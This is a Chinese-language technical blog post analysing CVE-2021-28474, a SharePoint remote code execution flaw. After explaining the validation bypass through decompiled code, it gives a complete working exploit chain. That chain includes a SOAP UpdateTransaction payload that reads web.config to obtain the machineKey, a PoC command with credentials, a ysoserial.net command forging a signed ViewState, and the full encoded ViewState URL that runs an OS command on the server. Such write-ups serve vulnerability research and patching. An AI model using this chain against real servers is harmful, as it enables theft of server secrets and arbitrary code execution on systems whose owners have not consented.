百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 技术文章 > 正文

CVE-2021-28474:Microsoft SharePoint远程代码执行漏洞分析

cac55 2024-11-12 09:40 22 浏览 0 评论

概述

研究人员在微软SharePoint服务器中发现了一个远程代码执行漏洞(CVE-2021-28474)。该漏洞允许经过身份验证的攻击者在SharePoint服务器上,利用SharePoint Web应用程序的服务帐户上下文执行任意.NET代码。要想成功利用该漏洞,攻击者需要具备SharePoint站点的SPBasePermissions.ManageLists权限。默认情况下,经过身份验证的SharePoint用户可以创建网页页面,并拥有所需的所有权限。


漏洞代码分析

该漏洞因为用于安全验证的代码与用于实际处理用户输入的代码之间存在不一致导致的。

安全验证由EditingPageParser.VerifyControlOnSafeList()执行。该函数将验证所提供的输入是否不包含不安全的控件,即web.config文件中的SafeControl元素未将任何控件标记为安全。

// Microsoft.SharePoint.EditingPageParser
internal static void VerifyControlOnSafeList(string dscXml, RegisterDirectiveManager registerDirectiveManager, SPWeb web, bool blockServerSideIncludes = false) 
{     
       Hashtable hashtable = new Hashtable();     
       Hashtable hashtable2 = new Hashtable();     
       List<string> list = new List<string>();     
       EditingPageParser.InitializeRegisterTable(hashtable, registerDirectiveManager);     
       EditingPageParser.ParseStringInternal(dscXml, hashtable2, hashtable, list);     
       if (blockServerSideIncludes && list.Count > 0)
       {
           ULS.SendTraceTag(42059668u, ULSCat.msoulscat_WSS_General, ULSTraceLevel.Medium, "VerifyControlOnSafeList: Blocking control XML due to unsafe server side includes"); 
           throw new ArgumentException("Unsafe server-side includes", "dscXml");
        }
        foreach (object obj in hashtable2)  
        {
           Pair pair = (Pair)((DictionaryEntry)obj).Value;         
           string text = (string)pair.First;         
           string text2 = (string)pair.Second;         
           text2 = text2.ToLower(CultureInfo.InvariantCulture);         
           if (hashtable.ContainsKey(text2))         
           {
 /*...*/
                       if (!web.SafeControls.IsSafeControl(web.IsAppWeb, type, out s))                     
                       {                         
                           throw new SafeControls.UnsafeControlException(s);                     
                        }                     
                        break;                 
                    }             
               }         
            }     
       } 
  }

EditingPageParser.ParseStringInternal()函数解析来自dscXml的用户输入,并使用寄存器指令中的信息填充hashtable,以及使用服务器控件标记中的值填充hashtable2。之后,它尝试根据web.config文件中的SafeControl元素验证hashtable2中的每个元素。如果一个控件在那里没有被标记为安全,它就会抛出一个异常。

让我们仔细看看hashtable2中的值是如何进行填充的:

// Microsoft.SharePoint.EditingPageParser 
private static void ParseStringInternal(string text, Hashtable controls, Hashtable typeNames, IList<string> includes) 
{     
     int num = 0;     
     int num2 = text.LastIndexOf('>');     
     for (;;)     
     {         
           Match match; 
/*...*/         
           if (!(match = EditingPageParser.commentRegex.Match(text, num)).Success && !(match = EditingPageParser.aspExprRegex.Match(text, num)).Success && !(match = EditingPageParser.databindExprRegex.Match(text, num)).Success && !(match = EditingPageParser.aspCodeRegex.Match(text, num)).Success)         
           {             
               if (num2 > num && (match = EditingPageParser.tagRegex.Match(text, num)).Success)             
               {                 
                    try                 
                    {                     
                         EditingPageParser.HandleTagMatch(match, controls); 
/*...*/  

// Microsoft.SharePoint.EditingPageParser 
private static void HandleTagMatch(Match match, Hashtable controls) 
{     
        CaptureCollection captures = match.Groups["attrname"].Captures;     
        CaptureCollection captures2 = match.Groups["attrval"].Captures;     
        bool flag = false;     
        for (int i = 0; i < captures.Count; i++)     
        {         
              string strA = captures[i].ToString();         
              string strA2 = captures2[i].ToString();         
              if (string.Compare(strA, "runat", StringComparison.OrdinalIgnoreCase) == 0 && string.Compare(strA2, "server", StringComparison.OrdinalIgnoreCase) == 0)         
              {             
                      flag = true;             
                      break;         
               }     
         }     
         if (flag)     
         {         
                string value = match.Groups["tagname"].Value;         
                int num = value.IndexOf(':');         
                if (num > 0 && num < value.Length - 1)         
                {             
                       string x = value.Substring(num + 1);             
                       string y = value.Substring(0, num);             
                       controls[value] = new Pair(x, y);         
                 }     
          } 
 }

如我们所见,SharePoint仅验证服务器端控件(带有runat="server"属性的标记)。这是合理的,因为客户端元素不需要验证。

如果验证通过,SharePoint将处理提供的标记。让我们回顾一下执行处理的代码:

// System.Web.UI.TemplateParser 
private void ParseStringInternal(string text, Encoding fileEncoding) 
{     
       int num = 0;     
       int num2 = text.LastIndexOf('>');     
       Regex tagRegex = base.TagRegex;     
       do     
       {         
              Match match; 
 /*...*/                     
                          if (!this.flags[2] && num2 > num && (match = tagRegex.Match(text, num)).Success)                     
                          {                         
                               try                         
                               {                             
                                    if (!this.ProcessBeginTag(match, text))                             
                                    {                                 
                                          flag = true;                             
                                    } 
 /*...*/   
 
 
 // System.Web.UI.TemplateParser 
 private bool ProcessBeginTag(Match match, string inputText) 
 {     
        string value = match.Groups["tagname"].Value;     
        ParsedAttributeCollection attribs;     
        string text;     
        this.ProcessAttributes(inputText, match, out attribs, false, out text); 
/*...*/       

// System.Web.UI.TemplateParser 
private string ProcessAttributes(string text, Match match, out ParsedAttributeCollection attribs, bool fDirective, out string duplicateAttribute) 
{     
        string text2 = string.Empty;     
        attribs = TemplateParser.CreateEmptyAttributeBag();     
        CaptureCollection captures = match.Groups["attrname"].Captures;     
        CaptureCollection captures2 = match.Groups["attrval"].Captures;     
        CaptureCollection captureCollection = null;     
        if (fDirective)     
        {         
              captureCollection = match.Groups["equal"].Captures;     
         }     
         this.flags[1] = false;     
         this._id = null;     
         duplicateAttribute = null;     
         for (int i = 0; i < captures.Count; i++)     
         {         
              string text3 = captures[i].ToString();         
              if (fDirective)         
              {             
                   text3 = text3.ToLower(CultureInfo.InvariantCulture);         
               }         
               Capture capture = captures2[i];         
               string text4 = capture.ToString();         
               string empty = string.Empty;         
               string text5 = Util.ParsePropertyDeviceFilter(text3, out empty);         
               text4 = HttpUtility.HtmlDecode(text4);         
               bool flag = false;         
               if (fDirective)         
               {             
                    flag = (captureCollection[i].ToString().Length > 0);         
                }         
                if (StringUtil.EqualsIgnoreCase(empty, "id"))         
                {             
                    this._id = text4;         
                 }         
                 else if (StringUtil.EqualsIgnoreCase(empty, "runat"))         
                 {             
                        this.ValidateBuiltInAttribute(text5, empty, text4);             
                        if (!StringUtil.EqualsIgnoreCase(text4, "server"))             
                        {                 
                            this.ProcessError(SR.GetString("Runat_can_only_be_server"));            
                        }             
                        this.flags[1] = true;             
                        text3 = null;         
                  } 
 /*...*/

可以看见处理时解析内容的步骤与验证时的解析步骤非常相似。但是,有一个关键的单行差异:text4 = HttpUtility.HtmlDecode(text4)。

在处理时,属性值由解析器进行HTML解码,但在验证时没有相应的行。这意味着,如果我们有一个ASPX标记,它的属性是runat="&#115;erver"EditingPageParser.VerifyControlOnSafeList()函数不会将其视为服务器端控件,也不会检查它的安全性。但是,在处理时,它将被识别为服务器端控件并执行。


漏洞利用

在此次攻击中,我们将利用System.Web.UI.WebControls.Xml控件,以从任意XML文件中检索信息。我们可以使用它从web.config中提取machineKey部分,这允许我们伪造任意ViewState,并通过ViewState反序列化实现远程代码执行。

可以看见System.Web.UI.WebControls.Xmlweb.config中的SafeControl元素标记为不安全:

<SafeControl Assembly="System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" Namespace="System.Web.UI.WebControls" TypeName="Xml" Safe="False" AllowRemoteDesigner="False" SafeAgainstScript="False" />

我们将使用可通过/_vti_bin/WebPartPages.asmx站点访问的WebPartPagesWebService.ExecuteProxyUpdates Web API方法,投递有效载荷。它允许我们在设计模式下从OuterHtml属性渲染ASPX标记。用户输入将通过VerifyControlOnSafeList方法进行验证。

为了成功进行攻击,我们需要提供任何现有网站页面的相对路径:

<UpdateTransaction> 
<Update Type="Document"> 
<Document Url="SitePages/Home.aspx" ContextUrl="SitePages/Home.aspx">       
      <Control UpdateID="9940723" NeedsPreview="true" TagName="Name1" OuterHtml="&lt;asp:Repeater  runat=&quot;server&quot;&gt; &lt;HeaderTemplate&gt; &lt;asp:Xml runat=&quot;&amp;#115;erver&quot; id=&quot;xml1&quot; DocumentSource=&quot;c:/inetpub/wwwroot/wss/VirtualDirectories/80/web.config&quot;/&gt;   &lt;/HeaderTemplate&gt;&lt;/asp:Repeater&gt; " />     
    </Document>     
    <Actions />     
    </Update> 
</UpdateTransaction>

我们可以使用来自web.configmachinekey部分的信息来创建一个有效的ViewState,它将被SharePoint反序列化。这允许我们通过反序列化不受信任的数据来运行任意操作系统命令。


概念验证

在演示场景中,我们使用安装了Windows Server 2019 Datacenter上所有默认选项的Microsoft SharePoint Server 2019。服务器的主机名称为sp2019.contoso.lab,已加入contoso.lab域中,域为独立的虚拟机。目标主机已安装2021年1月的所有补丁,对应版本号为16.0.10370.20001,并添加了几个用户,包括普通用户“user2”。

攻击者系统只需使用任何受支持的网页浏览器、用于向服务器发送SOAP请求的PoC应用程序,以及ysoserial.net工具,我们使用的浏览器为Firefox。

首先我们访问SharePoint服务器,以普通用户“user2”进行身份验证。

然后创建一个站点,使该用户成为站点所有者并拥有所有权限。

点击顶部面板的“SharePoint”区域:

然后点击“+创建站点”链接:


选择“Team Site”,现在我们需要为新站点设置名称,这里我们设置为ts01

点击“完成”,成功创建新站点:

现在我们需要一个指向该站点中任何站点页面的相对路径,转到 /SitePages/Forms/ByAuthor.aspx以查看页面列表:

我们可以点击所需的页面并从地址栏中获取相对路径:

在这里,相对路径为SitePages/Home.aspx

接下来使用自定义可执行文件向易受攻击的服务器发送请求以触发漏洞。我们需要提供网站地址、凭证和相对路径:

>SP_soap_RCE_PoC.exe http://sp2019/sites/ts01/ user2 P@ssw0rd contoso "SitePages/Home.aspx"

如果攻击成功,我们将收到web.config的内容:

在该文件中搜索machineKey元素:

要执行RCE攻击,我们需要获取validationKey的值。在这里validationKey=”FAB45BC67E06323C48951DA2AEAF077D8786291E2748330F03B6601F09523B79”

我们还可以看到算法:validation="HMACSHA256"。

利用这些信息,我们就可以实现远程代码执行攻击。在进行最后一步攻击前,我们先进入目标SharePoint服务器,并打开C:windowsemp文件夹:

此时该目录中不存在SP_RCE_01.txt文件。

现在我们转到“攻击者”主机,并在网站上打开Success.aspx页面:

在本例中,URL为http://sp2019/sites/ts01/_layouts/15/success.aspx:

打开这个页面的源代码视图,找到__VIEWSTATEGENERATOR的值,本例中该值为AF878507:

现在,我们已经拥有了伪造一个任意的ViewState所需要的所有数据:

  • __VIEWSTATEGENERATOR=AF878507

  • validationKey=FAB45BC67E06323C48951DA2AEAF077D8786291E2748330F03B6601F09523B79

  • validationAlg=HMACSHA256

使用ysoserial生成ViewState:

>ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo RCE > c:/windows/temp/SP_RCE_01.txt" --generator="AF878507" --validationkey="FAB45BC67E06323C48951DA2AEAF077D8786291E2748330F03B6601F09523B79" --validationalg="HMACSHA256" --islegacy --minify

这是生成的有效载荷,我们需要对其进行URL编码,并将其作为查询字符串中的__VIEWSTATE参数发送到目标服务器:

http://sp2019/sites/ts01/_layouts/15/success.aspx?__VIEWSTATE=%2FwEy2gcAAQAAAP%2F%2F%2F%2F8BAAAAAAAAAAwCAAAABlN5c3RlbQUBAAAAQFN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLlNvcnRlZFNldGAxW1tTeXN0ZW0uU3RyaW5nLG1zY29ybGliXV0EAAAABUNvdW50CENvbXBhcmVyB1ZlcnNpb24FSXRlbXMAAQABCAgCAAAAAgAAAAkDAAAAAAAAAAkEAAAABAMAAABAU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuQ29tcGFyaXNvbkNvbXBhcmVyYDFbW1N5c3RlbS5TdHJpbmddXQEAAAALX2NvbXBhcmlzb24BCQUAAAARBAAAAAIAAAAGBgAAACsvYyBlY2hvIFJDRSA%2BIGM6L3dpbmRvd3MvdGVtcC9TUF9SQ0VfMDEudHh0BgcAAAADY21kBAUAAAAiU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcgMAAAAIRGVsZWdhdGUAAXgBAQEJCAAAAA0ADQAECAAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkHAAAABHR5cGUIYXNzZW1ibHkAEnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRUeXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQEBAQEBBgsAAACSAVN5c3RlbS5GdW5jYDNbW1N5c3RlbS5TdHJpbmddLFtTeXN0ZW0uU3RyaW5nXSxbU3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MsU3lzdGVtLFZlcnNpb249NC4wLjAuMCxDdWx0dXJlPW5ldXRyYWwsUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBgwAAAAIbXNjb3JsaWINAAYNAAAARlN5c3RlbSxWZXJzaW9uPTQuMC4wLjAsQ3VsdHVyZT1uZXV0cmFsLFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkGDgAAABpTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcwYPAAAABVN0YXJ0CRAAAAAECQAAAAF4BwAAAAAAAAAAAAABAQEBAQABCA0ADQANAA0ADQAAAAAAAQoAAAAJAAAABhYAAAAHQ29tcGFyZQ0ABhgAAAANU3lzdGVtLlN0cmluZw0ADQAAAAAADQABEAAAAAgAAAAGGwAAACRTeXN0ZW0uQ29tcGFyaXNvbmAxW1tTeXN0ZW0uU3RyaW5nXV0JDAAAAA0ACQwAAAAJGAAAAAkWAAAAC5nTmz9vXHLF1C5DkWIPhsB4pP5YHhCaIK%2Bh79Fa4ZeW

将此URL粘贴到浏览器中,响应显示为错误:

然而再次检查目标服务器上的C:windowsemp文件夹,可以发现目标文件创建成功,证明我们实现了代码执行:

通过这种方法,攻击者可以在SharePoint Web应用程序的上下文中执行任意操作系统命令。

相关推荐

Mac电脑强制删除任何软件方法-含自启动应用

对于打工者来说,进入企业上班使用的电脑大概率是会被监控起来,比如各种流行的数据防泄漏DLP,奇安信天擎,甚至360安全卫士,这些安全软件你想卸载是非常困难的,甚至卸载后它自己又安装回来了,并且还在你不...

Linux基础知识 | 文件与目录大全讲解

1.linux文件权限与目录配置1.文件属性Linux一般将文件可存取的身份分为三个类别,分别是owner/group/others,且三种身份各read/write/execute等权限文...

文件保护不妥协:2025 年 10 款顶级加密工具推荐

数据安全无小事,2025年这10款加密工具凭借独特功能脱颖而出,从个人到企业场景全覆盖,第一款为Ping32,其余为国外英文软件。1.Ping32企业级加密核心工具,支持200+文件格...

省心省力 一个软件搞定系统维护_省心安装在哪里能找到

◆系统类似于我们居住的房间,需要经常打理才能保持清洁、高效。虽然它本身也自带一些清理和优化的工具,但借助于好用的第三方工具来执行这方面的任务,会更让人省心省力。下面笔者就为大家介绍一款集多项功能于一身...

JAVA程序员常用的几个工具类_java程序员一般用什么软件写程序

好的工具做起事来常常事半功倍,下面介绍几个开发中常用到的工具类,收藏一下,也许后面真的会用到。字符串处理:org.apache.commons.lang.StringUtilsisBlank(Char...

手工解决Windows10的若干难题_windows10系统卡顿怎么解决

【电脑报在线】很多朋友已经开始使用Win10,估计还只是测试版本的原因,使用过程中难免会出现一些问题,这里介绍解决一些解决难题的技巧。技巧1:让ProjectSpartan“重归正途”从10074...

System32文件夹千万不能删除,看完这篇你就知道为什么了

C:\Windows\System32目录是Windows操作系统的关键部分,重要的系统文件存储在该目录中。网上的一些恶作剧者可能会告诉你删除它,但你不应该尝试去操作,如果你尝试的话,我们会告诉你会发...

Windows.old 文件夹:系统备份的解析与安全删除指南

Windows.old是Windows系统升级(如Win10升Win11)或重装时,系统自动在C盘创建的备份文件夹,其核心作用是保留旧系统的文件、程序与配置,为“回退旧系统”提供保...

遇到疑难杂症?Windows 10回收站问题巧解决

回收站是Windows10的一个重要组件。然而,我们在使用过程中,可能会遇到一些问题。例如,不论回收站里有没有文件,都显示同一个图标,让人无法判别回收站的空和满的真实情况;没有了像Windows7...

卸载软件怎么彻底删掉?简单几个步骤彻底卸载,电脑小白看过来

日常工作学习生活中,我们需要在安装一些软件程序,但随着软件的更新迭代速度,很多时候我们需要重新下载安装新的程序,这时就需要将旧的一些软件程序进行卸载。但是卸载软件虽然很简单,但是很多小伙伴们表示卸载不...

用不上就删!如何完全卸载OneDrive?

作为Windows10自带的云盘,OneDrive为资料的自动备份和同步提供了方便。然而,从隐私或其他方面考虑,有些人不愿意使用OneDrive。但Windows10本身不提供直接卸载OneDri...

【Linux知识】Linux下快速删除大量文件/文件夹方法

在Linux下,如果需要快速删除大量文件或文件夹,可以使用如下方法:使用rm命令删除文件:可以使用rm命令删除文件,例如:rm-rf/path/to/directory/*这个命令会递...

清理系统不用第三方工具_清理系统垃圾用什么软件

清理优化系统一定要借助于优化工具吗?其实,手动优化系统也没有那么神秘,掌握了方法和技巧,系统清理也是一件简单和随心的事。一方面要为每一个可能产生累赘的文件找到清理的方法,另一方面要寻找能够提高工作效率...

系统小技巧:软件卸载不了?这里办法多

在正常情况下,我们都是通过软件程序组中的卸载图标,或利用控制面板中的“程序和功能”模块来卸载软件的。但有时,我们也会发现利用卸载图标无法卸载软件或者卸载图标干脆丢失找不到了,甚至控制面板中卸载软件的功...

麒麟系统无法删除文件夹_麒麟系统删除文件权限不够

删除文件夹方法例:sudorm-rf文件夹名称。删除文件方法例:sudorm-r文件名包括扩展名。如果没有权限,给文件夹加一下权限再删。加最高权限chmod775文件名加可执行权限...

取消回复欢迎 发表评论: